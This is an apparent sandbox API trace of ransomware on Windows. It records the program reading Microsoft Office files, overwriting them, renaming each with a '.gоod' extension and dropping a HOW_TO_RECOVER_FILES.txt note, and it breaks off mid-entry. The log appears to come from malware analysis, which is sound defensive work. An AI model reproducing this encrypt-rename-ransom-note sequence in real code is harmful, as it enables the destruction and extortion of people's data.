lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", nBufferLength=0x105, lpBuffer=0x206ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", lpFilePart=0x0) returned 0x46 [0196.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edcb0) returned 1 [0196.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.573] GetFileType (hFile=0x838) returned 0x1 [0196.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc20) returned 1 [0196.573] GetFileType (hFile=0x838) returned 0x1 [0196.573] GetFileSize (in: hFile=0x838, lpFileSizeHigh=0x206ede58 | out: lpFileSizeHigh=0x206ede58*=0x0) returned 0x415 [0196.573] ReadFile (in: hFile=0x838, lpBuffer=0x35d1ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206edd88, lpOverlapped=0x0 | out: lpBuffer=0x35d1ad8*, lpNumberOfBytesRead=0x206edd88*=0x415, lpOverlapped=0x0) returned 1 [0196.574] CloseHandle (hObject=0x838) returned 1 [0197.097] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", nBufferLength=0x105, lpBuffer=0x206ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", lpFilePart=0x0) returned 0x46 [0197.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edcb0) returned 1 [0197.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0197.099] GetFileType (hFile=0x848) returned 0x1 [0197.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc20) returned 1 [0197.099] GetFileType (hFile=0x848) returned 0x1 [0197.099] WriteFile (in: hFile=0x848, lpBuffer=0x390a9f0*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x206edc98, lpOverlapped=0x0 | out: lpBuffer=0x390a9f0*, lpNumberOfBytesWritten=0x206edc98*=0x420, lpOverlapped=0x0) returned 1 [0197.100] CloseHandle (hObject=0x848) returned 1 [0197.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", lpFilePart=0x0) returned 0x46 [0197.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.gоod", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.gоod", lpFilePart=0x0) returned 0x4b [0197.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206eddc0) returned 1 [0197.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm"), fInfoLevelId=0x0, lpFileInformation=0x206edea0 | out: lpFileInformation=0x206edea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x71b13d36, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0197.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edd80) returned 1 [0197.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm.gоod")) returned 1 [0197.101] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", lpFilePart=0x0) returned 0x46 [0197.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ede00) returned 1 [0197.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), fInfoLevelId=0x0, lpFileInformation=0x390bc80 | out: lpFileInformation=0x390bc80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104cb)) returned 1 [0197.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206eddc0) returned 1 [0197.234] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", lpFilePart=0x0) returned 0x46 [0197.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0197.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0197.234] GetFileType (hFile=0x84c) returned 0x1 [0197.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0197.234] GetFileType (hFile=0x84c) returned 0x1 [0197.234] SetFilePointer (in: hFile=0x84c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0x1000 [0197.235] ReadFile (in: hFile=0x84c, lpBuffer=0x3613c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ede28, lpOverlapped=0x0 | out: lpBuffer=0x3613c10*, lpNumberOfBytesRead=0x206ede28*=0x1000, lpOverlapped=0x0) returned 1 [0197.236] CloseHandle (hObject=0x84c) returned 1 [0197.236] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", lpFilePart=0x0) returned 0x46 [0197.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0197.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0197.236] GetFileType (hFile=0x84c) returned 0x1 [0197.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0197.236] GetFileType (hFile=0x84c) returned 0x1 [0197.236] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ede58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ede58*=0) returned 0x104cb [0197.236] WriteFile (in: hFile=0x84c, lpBuffer=0x3614f28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206edd48, lpOverlapped=0x0 | out: lpBuffer=0x3614f28*, lpNumberOfBytesWritten=0x206edd48*=0x10, lpOverlapped=0x0) returned 1 [0197.237] CloseHandle (hObject=0x84c) returned 1 [0197.238] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", lpFilePart=0x0) returned 0x46 [0197.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0197.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0197.238] GetFileType (hFile=0x84c) returned 0x1 [0197.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0197.238] GetFileType (hFile=0x84c) returned 0x1 [0197.238] ReadFile (in: hFile=0x84c, lpBuffer=0x3617228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206eddd8, lpOverlapped=0x0 | out: lpBuffer=0x3617228*, lpNumberOfBytesRead=0x206eddd8*=0x1000, lpOverlapped=0x0) returned 1 [0199.070] CloseHandle (hObject=0x84c) returned 1 [0199.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", lpFilePart=0x0) returned 0x46 [0199.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0199.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0199.071] GetFileType (hFile=0x84c) returned 0x1 [0199.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0199.071] GetFileType (hFile=0x84c) returned 0x1 [0199.071] WriteFile (in: hFile=0x84c, lpBuffer=0x3614400*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206ede88, lpOverlapped=0x0 | out: lpBuffer=0x3614400*, lpNumberOfBytesWritten=0x206ede88*=0x1010, lpOverlapped=0x0) returned 1 [0199.071] CloseHandle (hObject=0x84c) returned 1 [0199.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", lpFilePart=0x0) returned 0x46 [0199.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.gоod", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.gоod", lpFilePart=0x0) returned 0x4b [0199.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206eddc0) returned 1 [0199.071] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206edea0 | out: lpFileInformation=0x206edea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x72de5ea2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x104db)) returned 1 [0199.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edd80) returned 1 [0199.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl.gоod")) returned 1 [0199.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", lpFilePart=0x0) returned 0x46 [0199.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ede00) returned 1 [0199.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp"), fInfoLevelId=0x0, lpFileInformation=0x3801fe0 | out: lpFileInformation=0x3801fe0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e9)) returned 1 [0199.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206eddc0) returned 1 [0199.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", nBufferLength=0x105, lpBuffer=0x206ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", lpFilePart=0x0) returned 0x46 [0199.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edcb0) returned 1 [0199.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0199.085] GetFileType (hFile=0x84c) returned 0x1 [0199.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc20) returned 1 [0199.085] GetFileType (hFile=0x84c) returned 0x1 [0199.085] GetFileSize (in: hFile=0x84c, lpFileSizeHigh=0x206ede58 | out: lpFileSizeHigh=0x206ede58*=0x0) returned 0x2e9 [0199.085] ReadFile (in: hFile=0x84c, lpBuffer=0x3802578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206edd88, lpOverlapped=0x0 | out: lpBuffer=0x3802578*, lpNumberOfBytesRead=0x206edd88*=0x2e9, lpOverlapped=0x0) returned 1 [0199.086] CloseHandle (hObject=0x84c) returned 1 [0199.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", nBufferLength=0x105, lpBuffer=0x206ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", lpFilePart=0x0) returned 0x46 [0199.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edcb0) returned 1 [0199.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0199.356] GetFileType (hFile=0x820) returned 0x1 [0199.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc20) returned 1 [0199.356] GetFileType (hFile=0x820) returned 0x1 [0199.356] WriteFile (in: hFile=0x820, lpBuffer=0x3866970*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x206edc98, lpOverlapped=0x0 | out: lpBuffer=0x3866970*, lpNumberOfBytesWritten=0x206edc98*=0x2f0, lpOverlapped=0x0) returned 1 [0199.357] CloseHandle (hObject=0x820) returned 1 [0199.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP", lpFilePart=0x0) returned 0x46 [0199.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP.gоod", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP.gоod", lpFilePart=0x0) returned 0x4b [0199.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206eddc0) returned 1 [0199.357] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp"), fInfoLevelId=0x0, lpFileInformation=0x206edea0 | out: lpFileInformation=0x206edea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x73094894, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0199.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edd80) returned 1 [0199.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\servwrap.asp.gоod")) returned 1 [0199.358] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0199.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edfc0) returned 1 [0199.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0199.359] GetFileType (hFile=0x820) returned 0x1 [0199.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf30) returned 1 [0199.359] GetFileType (hFile=0x820) returned 0x1 [0199.359] WriteFile (in: hFile=0x820, lpBuffer=0x386a000*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ee088, lpOverlapped=0x0 | out: lpBuffer=0x386a000*, lpNumberOfBytesWritten=0x206ee088*=0x5d0, lpOverlapped=0x0) returned 1 [0199.361] CloseHandle (hObject=0x820) returned 1 [0199.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0199.361] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ", lpFilePart=0x0) returned 0x36 [0199.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec85c80 [0199.363] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.363] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12a6aa07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x606000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="ACWZDA~1.ACC")) returned 1 [0199.363] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12a447be, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12a447be, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1303a658, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="ACWZLI~1.ACC")) returned 1 [0199.363] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12fc801f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12fc801f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="ACWZMA~1.ACC")) returned 1 [0199.363] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13086ac2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13086ac2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="ACWZTO~1.ACC")) returned 1 [0199.364] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1330f2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1330f2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x344000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="ACWZUS~1.ACC")) returned 1 [0199.364] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1335b74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 1 [0199.364] FindNextFileW (in: hFindFile=0x1ec85c80, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0199.364] FindClose (in: hFindFile=0x1ec85c80 | out: hFindFile=0x1ec85c80) returned 1 [0199.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0199.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0199.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0199.365] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ", lpFilePart=0x0) returned 0x36 [0199.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, 